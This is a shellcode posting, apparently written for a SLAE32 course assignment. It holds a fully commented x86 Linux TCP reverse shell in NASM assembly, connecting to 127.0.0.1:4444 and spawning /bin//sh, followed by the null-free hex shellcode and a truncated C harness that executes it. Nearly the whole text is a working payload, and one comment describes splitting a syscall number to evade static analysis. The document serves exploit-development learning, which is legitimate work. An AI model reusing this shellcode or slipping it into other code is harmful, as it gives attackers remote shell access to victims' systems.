Linux/x86 TCP Reverse Shell Nullbyte Free Shellcode

Linux/x86 TCP reverse shell nullbyte free shellcode.

MD5 | 99e7f76d43a55a51387066637b961f4a

; name : Exploit Title: Linux/x86 - TCP reverse shell nullbyte free
; date : 04th sept, 2019
; author : Sandro "guly" Zaccarini
; twitter : @theguly
; blog :
; SLAE32 : SLAE-1037
; purpose : the program will create a new connection to and spawns a shell
; this code has been written as extramile for SLAE32 assignment 2
; license : CC-BY-NC-SA

global _start
section .text

; start by zeroing eax,ebx. not really needed because registers are clean, but better safe than sorry
xor eax,eax
xor ebx,ebx

; ----------------------------------------------------------------------------------------
; purpose : create a socket
; references : man socket
; description :
; socketcall is the syscall used to work with socket. i'm going to use this syscall to create and connect
; the very first thing i have to do, is to create the socket itself. by reading references, i see that she needs 3 registers:
; eax => syscall id 0x66 for socketcall, that will be the same for every socketcall call of course and that's why i created a function on top
; ebx => socket call id, that is 0x1 for socket creation
; ecx => pointer to socket args
; man socket shows me that socket's args are:
; domain => AF_INET because i'm creating a inet socket, and is 0x2
; type => tcp is referenced as STREAM, that is 0x1
; protocol => unneded here because there is no inner protocol, so i'll use 0x0

; not, i'm creating ecx because a zeroed eax is perfect for the purpose
; arg will be pushed in reverse order with no hardcoded address: 0, 1, 2
push eax
inc eax
push eax
inc eax
push eax

; because socketcall needs a pointer, i'm moving esp address to ecx
mov ecx,esp

; prepare eax to hold the socketcall value as discussed before. i'm not hardcoding 0x66 to (try to) fool some static analysis: 0x33 is sysacct and looks harmless to me
mov al,0x33
add al,0x33

; because ebx has been zeroed, i can just inc to have it to 1 for socketcall to call socket (pun intended :) )
inc ebx

; do the call and create socket
int 0x80

; because syscall rets to eax, if everything's good, eax will hold socket file descriptor: save it to esi to store it safe for the whole run
mov esi,eax

; ----------------------------------------------------------------------------------------
; purpose : connect to raddr:rport
; references : man connect , man 7 ip
; description :
; eax => syscall id 0x66 for socketcall
; ebx => connect call id, 0x3 taken from linux/net.h
; ecx => pointer to address struct
; man connect shows me that args are:
; sockfd => already saved in esi
; address => pointer to ip struct
; addrlen => addrlen is 32bit (0x10)
; man 7 ip shows address struct details. arguments are:
; family => AF_INET, so 0x2
; port => hardcoded 4444
; addr =>

; zero again
xor eax,eax

; push arg in reverse and move the pointer to ecx
; prepare stack pointer to addr struct defined in man 7 ip
; as exercise, i'm going to use as remote address, because it contains null bytes
; hex value of is 0x0100007f
; pushing 0x00000000 to esp by using a known null register. i've also could used sub esp,0x8 because i have enough room, or mov eax,[esp] or another zillion of similal instructions
push eax
mov byte [esp], 0x7f
; now esp is: 0x0000007f
mov byte [esp+3],0x01
; now esp is: 0x0100007f

; push port to bind to, 4444 in hex, to adhere to msf defaults :)
push word 0x5c11
; push AF_INET value as word again
inc ebx
push word bx
; get stack pointer to ecx
mov ecx,esp

; same call to have 0x66 to eax and do socketcall
mov al,0x33
add al,0x33

; push arg, again in reverse order
push eax
; pointer to addr struct
push ecx
; sockfd, saved before to esi
push esi
; stack pointer to ecx again, to feed bind socketcall
mov ecx,esp

; ebx is 0x2, i need 0x3
inc ebx

; do the call
int 0x80

; ----------------------------------------------------------------------------------------
; purpose : create fd used by /bin//sh
; references : man dup2
; description : every shell has three file descriptor: STDIN(0), STDOUT(1), STDERR(2)
; this code will create said fd
; eax => 0x3f
; ebx => clientid
; ecx => newfd id, said file descriptor
; i'm going to create them by looping using ecx, to save some instruction. ecx will start at 2, then is dec and fd is created.
; as soon as ecx is 0, the loop ends

; i'm using a different method from one i've used for bindshell just to try.
; i'll put 0x3 to ecx to start creating STDERR just after dec
; ecx is dirty but edx is 0x0, just swap them
; edit: actually, running from a C code you'll have edx dirty. zero it...
xor edx,edx
xchg ecx,edx
mov cl,0x3

; copy socket fd to ebx to feed clientid
mov ebx,esi

; zero eax and start the loop
xor eax,eax

; dup2 call id
mov al,0x3f
; dec ecx to have 2,1,0
dec ecx
int 0x80

mov al,0x3f
; dec ecx to have 2,1,0
dec ecx
int 0x80

mov al,0x3f
; dec ecx to have 2,1,0
dec ecx
int 0x80

; ----------------------------------------------------------------------------------------
; purpose : spawn /bin//sh
; references : man execve
; description : put /bin//sh on the stack, aligned to 8 bytes to prevent 0x00 in the shellcode itself
; and null terminating it by pushing a zeroed register at first
; eax => execve call, 0xB
; ebx => pointer to executed string, which will be /bin//sh null terminated
; ecx => pointer to args to executed command, that could be 0x0
; edx => pointer to environment, which could be 0x0
; i need to push a null byte to terminate the string, i know ecx is 0x0 so i can save one op
push ecx
push 0x68732f2f
push 0x6e69622f
; here the stack will looks like a null terminated /bin/sh:
; /bin//sh\0\0\0\0\0\0\0\0

; and place pointer to ebx
mov ebx,esp

; envp to edx and ecx
push ecx
mov edx,esp
push ecx
mov ecx,esp

; execve syscall here
mov al,0xB

; and pop shell
int 0x80

; neat exit
xor eax,eax
mov al,0x1
int 0x80


#include <stdio.h>
#include <string.h>

unsigned char buf[] = "\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

void main() {
printf("Shellcode Length: %d\n", strlen(buf));
int (*ret)() = (int(*)())buf;

Related Posts